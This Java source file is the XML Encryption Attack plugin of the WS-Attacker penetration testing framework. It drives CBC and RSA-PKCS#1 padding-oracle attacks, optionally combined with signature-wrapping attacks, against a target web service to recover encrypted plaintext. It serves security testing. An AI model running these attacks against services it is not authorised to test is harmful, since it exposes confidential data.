/** * WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright * (C) 2013 Dennis Kupser * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ package wsattacker.plugin.xmlencryptionattack; import com.eviware.soapui.impl.wsdl.WsdlRequest; import java.io.File; import java.io.UnsupportedEncodingException; import java.util.List; import javax.xml.xpath.XPathExpressionException; import org.apache.log4j.Logger; import org.w3c.dom.Document; import org.xml.sax.SAXException; import uk.ac.shef.wit.simmetrics.similaritymetrics.InterfaceStringMetric; import wsattacker.library.schemaanalyzer.SchemaAnalyzer; import wsattacker.library.schemaanalyzer.SchemaAnalyzerFactory; import wsattacker.library.signatureWrapping.util.exception.InvalidPayloadException; import wsattacker.library.signatureWrapping.util.exception.InvalidWeaknessException; import wsattacker.library.xmlencryptionattack.attackengine.AttackConfig; import wsattacker.library.xmlencryptionattack.attackengine.AttackManager; import wsattacker.library.xmlencryptionattack.attackengine.CryptoAttackException; import wsattacker.library.xmlencryptionattack.attackengine.Utility; import wsattacker.library.xmlencryptionattack.attackengine.oracle.base.AOracle; import wsattacker.library.xmlencryptionattack.attackengine.oracle.base.mode.AbstractOracleBehaviour; import wsattacker.library.xmlencryptionattack.attackengine.oracle.base.mode.error.OracleErrorBehaviour; import wsattacker.library.xmlencryptionattack.attackengine.oracle.concrete.cbc.CBCOracle; import wsattacker.library.xmlencryptionattack.attackengine.oracle.concrete.pkcs1.PKCS1Oracle; import wsattacker.library.xmlencryptionattack.attackengine.oracle.concrete.pkcs1.strategy.AbstractPKCS1Strategy; import wsattacker.library.xmlencryptionattack.attackengine.oracle.concrete.pkcs1.strategy.PKCS1StrategyFactory; import wsattacker.library.xmlencryptionattack.avoidingengine.AvoidingManager; import wsattacker.library.xmlencryptionattack.detectionengine.detectionmanager.DetectFilterEnum; import wsattacker.library.xmlencryptionattack.detectionengine.detectionmanager.FactoryFilter; import wsattacker.library.xmlencryptionattack.detectionengine.detectionstreams.DetectionReport; import wsattacker.library.xmlencryptionattack.detectionengine.filter.concrete.AvoidedDocErrorFilter; import wsattacker.library.xmlencryptionattack.detectionengine.filter.info.AbstractDetectionInfo; import wsattacker.library.xmlencryptionattack.detectionengine.filter.info.AvoidedDocErrorInfo; import wsattacker.library.xmlencryptionattack.encryptedelements.AbstractEncryptionElement; import wsattacker.library.xmlencryptionattack.encryptedelements.ElementAttackProperties; import wsattacker.library.xmlencryptionattack.encryptedelements.key.EncryptedKeyElement; import wsattacker.library.xmlencryptionattack.util.HelperFunctions; import static wsattacker.library.xmlencryptionattack.util.SimStringStrategyFactory.createSimStringStrategy; import static wsattacker.library.xmlencryptionattack.util.XMLEncryptionConstants.NO_CURR_WRAP_IDX; import static wsattacker.library.xmlencryptionattack.util.XMLEncryptionConstants.OracleMode.ERROR_ORACLE; import static wsattacker.library.xmlencryptionattack.util.XMLEncryptionConstants.WrappingAttackMode.NO_WRAP; import wsattacker.library.xmlencryptionattack.util.XMLEncryptionConstants.XMLEncryptionAttackMode; import static wsattacker.library.xmlencryptionattack.util.XMLEncryptionConstants.XMLEncryptionAttackMode.PKCS1_ATTACK; import wsattacker.library.xmlutilities.dom.DomUtilities; import static wsattacker.library.xmlutilities.dom.DomUtilities.domToString; import wsattacker.main.composition.plugin.AbstractPlugin; import wsattacker.main.composition.testsuite.RequestResponsePair; import wsattacker.main.plugin.PluginState; import wsattacker.main.testsuite.TestSuite; import wsattacker.plugin.xmlencryptionattack.option.OptionManagerEncryption; public class XMLEncryptionAttack extends AbstractPlugin { private static final Logger LOG = Logger.getLogger( XMLEncryptionAttack.class ); private static final String NAME = "XML Encryption Attack"; private static final String DESCRIPTION = "<html><p>Contains adaptive chosen ciphertext attacks on XML Encryption. " + "Currently supported techniques:</p><ul>" + "<li>Attack on CBC Ciphertexts.</li>" + "<li>Attack on RSA-PKCS#1 Ciphertexts using direct error messages.</li>" + "<li>Attack on RSA-PKCS#1 Ciphertexts using a CBC weakness.</li>" + "</ul><p>To overcome XML Signature protection, XML Signature and " + "XML Encryption Wrapping attacks are implemented.</p></html>"; private static final String AUTHOR = "Dennis Kupser"; private static final String VERSION = "1.0 / 2015-05-08"; private static final String[] CATEGORY = new String[] { "Security", "Encryption" }; private static SchemaAnalyzer m_SchemaAnalyser = null; private static SchemaAnalyzer m_UsedSchemaAnalyser = null; private AttackConfig m_AttackCfg = null; private AvoidedDocErrorFilter m_AvoiDocErrFilter = null; private OptionManagerEncryption m_OptionManager = null; private final int m_SuccessThreashold = 100; @Override public void initializePlugin() { setName( NAME ); setDescription( DESCRIPTION ); setAuthor( AUTHOR ); setVersion( VERSION ); setCategory( CATEGORY ); this.m_SchemaAnalyser = SchemaAnalyzerFactory.getInstance( SchemaAnalyzerFactory.ALL ); this.m_UsedSchemaAnalyser = m_SchemaAnalyser; this.m_OptionManager = OptionManagerEncryption.getInstance(); this.m_OptionManager.setPlugin( this ); TestSuite.getInstance().getCurrentRequest().addCurrentRequestContentObserver( m_OptionManager ); this.m_AvoiDocErrFilter = (AvoidedDocErrorFilter) FactoryFilter.createFilter( DetectFilterEnum.AVOIDDOCFILTER ); } @Override public void clean() { setCurrentPoints( 0 ); checkState(); } @Override public boolean wasSuccessful() { return isFinished() && getCurrentPoints() >= m_SuccessThreashold; } @Override protected void attackImplementationHook(RequestResponsePair original) { DetectionReport detectReport = m_OptionManager.getDetectReport(); if (null == m_AttackCfg.getChosenAttackPayload()) { throw new IllegalArgumentException("user has to choose an attack payload"); } if (null == detectReport.getDetectionInfo(DetectFilterEnum.AVOIDDOCFILTER)) { try { getAvoidedAttackRequest(detectReport); } catch (InvalidWeaknessException ex) { info("Avoided Attack Request Error:\n" + ex.toString()); } catch (InvalidPayloadException ex) { info("Avoided Attack Request Error:\n" + ex.toString()); } catch (SAXException ex) { info("Avoided Attack Request Error:\n" + ex.toString()); } catch (XPathExpressionException ex) { info("Avoided Attack Request Error:\n" + ex.toString()); } } if (null != detectReport.getDetectionInfo(DetectFilterEnum.AVOIDDOCFILTER)) { setCurrentPoints(50); try { handleEncryptionAttack(detectReport); } catch (IllegalArgumentException | UnsupportedEncodingException ex) { LOG.error(ex); } } else { info("XML Encryption attack is not possible"); } } public void getAvoidedAttackRequest( DetectionReport detectReport ) throws InvalidWeaknessException, InvalidPayloadException, SAXException, XPathExpressionException { // !!! important !! save payload element (wrapped element in wrapping attack document (avoidedFile)) // important information for encryption attack: // 1. which is the payload element => for modifying ciphervalue // 2. the valid wrapping document (result of wrapping attacks) // => information saved in errorInfo-object of AVOIDDOCFILTER final WsdlRequest wsdlRequest = TestSuite.getInstance().getCurrentRequest().getWsdlRequest(); WebServiceSendCommand serSendCmnd = new WebServiceSendCommand( wsdlRequest ); if ( NO_WRAP != m_AttackCfg.getWrappingMode() ) { setAvoidedDocWithAvoidingManager( detectReport, serSendCmnd ); } else // no wrapping attacks for payload { setAvoidedDocWithoutWrapping( detectReport ); } } private void setAvoidedDocWithAvoidingManager( DetectionReport detectReport, WebServiceSendCommand serSendCmnd ) throws InvalidWeaknessException, InvalidPayloadException, XPathExpressionException, SAXException { info( "Starting Wrapping Attack" ); AvoidingManager avoidManager = null; AvoidedDocErrorInfo avoidedDocInfo = null; try { // start to avoid possible countermeasures avoidManager = new AvoidingManager( m_AttackCfg.getChosenWrapPayload(), detectReport, m_SchemaAnalyser ); avoidManager.setUseEncTypeWeakness( m_AttackCfg.isEncTypeWeakness() ); avoidManager.setAttackPay( m_AttackCfg.getChosenAttackPayload() ); avoidManager.setWrapErrCmpThreshold( m_AttackCfg.getStringCmpWrappErrThreshold() ); } catch ( InvalidPayloadException ex ) { info( "AvoidingManager Error:\n" + ex.toString() ); } catch ( InvalidWeaknessException ex ) { info( "AvoidingManager Error:\n" + ex.toString() ); } avoidedDocInfo = avoidManager.getAvoidedDocument( m_AttackCfg.getWrappingMode(), serSendCmnd ); detectReport.addDetectionInfo( DetectFilterEnum.AVOIDDOCFILTER, avoidedDocInfo ); if ( null != avoidedDocInfo ) { critical( "Wrapping position found" ); info( "Avoided Document:\n" + domToString( avoidedDocInfo.getAvoidedDocument() ) ); } else { important( "No wrapping position found" ); } ElementAttackProperties wrapProp = m_AttackCfg.getChosenWrapPayload().getAttackProperties(); if ( NO_CURR_WRAP_IDX == wrapProp.getCurrWrappingPayloadIdx() ) { m_OptionManager.getOptionServerResponse().abortSendingMessages(); } } private void setAvoidedDocWithoutWrapping( DetectionReport detectReport ) { important( "Setting avoided Document" ); AbstractDetectionInfo errorInfo = null; ( (AvoidedDocErrorFilter) m_AvoiDocErrFilter ).setPayloadInput( m_AttackCfg.getChosenAttackPayload() ); AbstractEncryptionElement tempPayElement = ( (AvoidedDocErrorFilter) m_AvoiDocErrFilter ).getPayloadInput(); ElementAttackProperties attackPropsPay = tempPayElement.getAttackProperties(); ( (AvoidedDocErrorFilter) m_AvoiDocErrFilter ).setInputDocument( detectReport.getRawFile() ); attackPropsPay.setAttackPayloadElement( ( (AvoidedDocErrorFilter) m_AvoiDocErrFilter ).getPayloadInput().getEncryptedElement() ); errorInfo = ( (AvoidedDocErrorFilter) m_AvoiDocErrFilter ).process(); if ( tempPayElement instanceof EncryptedKeyElement ) { AvoidedDocErrorFilter tempErrorFilter = null; AbstractEncryptionElement tempPayEncData = null; ElementAttackProperties attackPropsPayEncData = null; AbstractDetectionInfo tempErrorInfo = null; tempErrorFilter = (AvoidedDocErrorFilter) FactoryFilter.createFilter( DetectFilterEnum.AVOIDDOCFILTER ); tempPayEncData = HelperFunctions.getEncDataOfEncryptedKey( (EncryptedKeyElement) tempPayElement ); attackPropsPayEncData = tempPayEncData.getAttackProperties(); ( (AvoidedDocErrorFilter) tempErrorFilter ).setPayloadInput( tempPayEncData ); ( (AvoidedDocErrorFilter) tempErrorFilter ).setInputDocument( detectReport.getRawFile() ); attackPropsPayEncData.setAttackPayloadElement( ( (AvoidedDocErrorFilter) tempErrorFilter ).getPayloadInput().getEncryptedElement() ); tempErrorInfo = ( (AvoidedDocErrorFilter) tempErrorFilter ).process(); } detectReport.addDetectionInfo( DetectFilterEnum.AVOIDDOCFILTER, errorInfo ); } private void handleEncryptionAttack( DetectionReport detectReport ) throws IllegalArgumentException, UnsupportedEncodingException { AOracle oracle = null; final WsdlRequest wsdlRequest = TestSuite.getInstance().getCurrentRequest().getWsdlRequest(); WebServiceSendCommand serSendCmnd = new WebServiceSendCommand( wsdlRequest ); oracle = initAttackOracle( detectReport, serSendCmnd ); executeAttack( detectReport, oracle ); } private AOracle initAttackOracle( DetectionReport detectReport, WebServiceSendCommand serSendCmnd ) throws IllegalArgumentException { AOracle oracle = null; AbstractOracleBehaviour oracleMode = null; if ( ERROR_ORACLE == m_AttackCfg.getOracleMode() ) { InterfaceStringMetric simStrategy = createSimStringStrategy( m_AttackCfg.getSimStringStrategyType() ); oracleMode = new OracleErrorBehaviour( detectReport.getErrorResponseTab(), simStrategy ); } else { throw new IllegalArgumentException( "no valid oracle mode" ); } if ( XMLEncryptionAttackMode.CBC_ATTACK == m_AttackCfg.getXMLEncryptionAttack() ) { oracle = new CBCOracle( detectReport, oracleMode, serSendCmnd ); } else if ( XMLEncryptionAttackMode.PKCS1_ATTACK == m_AttackCfg.getXMLEncryptionAttack() ) { AbstractPKCS1Strategy pkcs1Strategy = null; oracle = new PKCS1Oracle( detectReport, oracleMode, serSendCmnd, m_AttackCfg.getPKCS1AttackCfg() ); pkcs1Strategy = PKCS1StrategyFactory.createPKCS1Strategy( m_AttackCfg.getPKCS1AttackCfg().getPKCS1Strategy(), (PKCS1Oracle) oracle ); ( (PKCS1Oracle) oracle ).setPKCS1Strategy( pkcs1Strategy ); } else { throw new IllegalArgumentException( "no valid attack oracle" ); } return oracle; } private void executeAttack( DetectionReport detectReport, AOracle oracle ) throws UnsupportedEncodingException { AttackManager attackManager = null; byte[] plainText = null; String resultString = null; try { // init attackmanager who executes the configured attack parameters attackManager = new AttackManager( detectReport, m_AttackCfg, oracle ); info( "Starting " + m_AttackCfg.getXMLEncryptionAttack() ); plainText = attackManager.executeAttack(); if ( m_AttackCfg.getXMLEncryptionAttack().equals( PKCS1_ATTACK ) ) { resultString = Utility.bytesToHex( plainText ); } else { resultString = new String( plainText, "UTF-8" ); } setCurrentPoints( 100 ); critical( ( "Plaintext of encrypted data: " + resultString + "\nNumber of Oracle Queries: " + attackManager.getOracleofCCAAttacker().getNumberOfQueries() ) ); info( "Bytes decrypted: " + plainText.length ); } catch ( CryptoAttackException ex ) { LOG.error( ex.getLocalizedMessage(), ex ); info( "Error: Attack has not successfully executed:\n" + ex.toString() ); setCurrentPoints( 0 ); } catch ( Exception ex ) { LOG.error( ex.getLocalizedMessage(), ex ); info( "Error: Attack has not successfully executed:\n" + ex.toString() ); setCurrentPoints( 0 ); } } public void setUsedSchemaFiles( List<File> fileList ) { log().info( "Cleared all Schemas" ); m_SchemaAnalyser = SchemaAnalyzerFactory.getInstance( SchemaAnalyzerFactory.EMPTY ); for ( File f : fileList ) { try { Document schema = DomUtilities.readDocument( f ); log().info( "Adding Schema " + f.getName() ); m_SchemaAnalyser.appendSchema( schema ); } catch ( Exception e ) { log().warn( "Could not read Schema file '" + f.getName() + "'" ); } } } public void checkState() { // Change does not have payload -> Check if we have still *any* payload log().debug( "### CHECK_STATE" ); if ( null == m_AttackCfg ) { log().debug( "### List Empty -> Not_Configured" ); // No possible payloads found -> Request does not have an encrypted element setState( PluginState.Not_Configured ); } else { AbstractEncryptionElement attackPay = m_AttackCfg.getChosenAttackPayload(); if ( null != attackPay && null != m_OptionManager.getDetectReport().getErrorResponseTab() ) { if ( !m_OptionManager.getDetectReport().getErrorResponseTab().getData().isEmpty() ) { setState( PluginState.Ready ); } else { setState( PluginState.Not_Configured ); } } else { setState( PluginState.Not_Configured ); } } } /** * If the plugin is stopped by user interaction, the attack request must be removed. */ @Override public void stopHook() { } public void setSchemaAnalyzerDepdingOnOption() { if ( !m_OptionManager.getOptionUseSchema().isOn() ) { m_UsedSchemaAnalyser = SchemaAnalyzerFactory.getInstance( SchemaAnalyzerFactory.NULL ); } else { m_UsedSchemaAnalyser = m_SchemaAnalyser; } } public AttackConfig getAttackCfg() { return m_AttackCfg; } public void setAttackCfg( AttackConfig attackCfg ) { this.m_AttackCfg = attackCfg; } }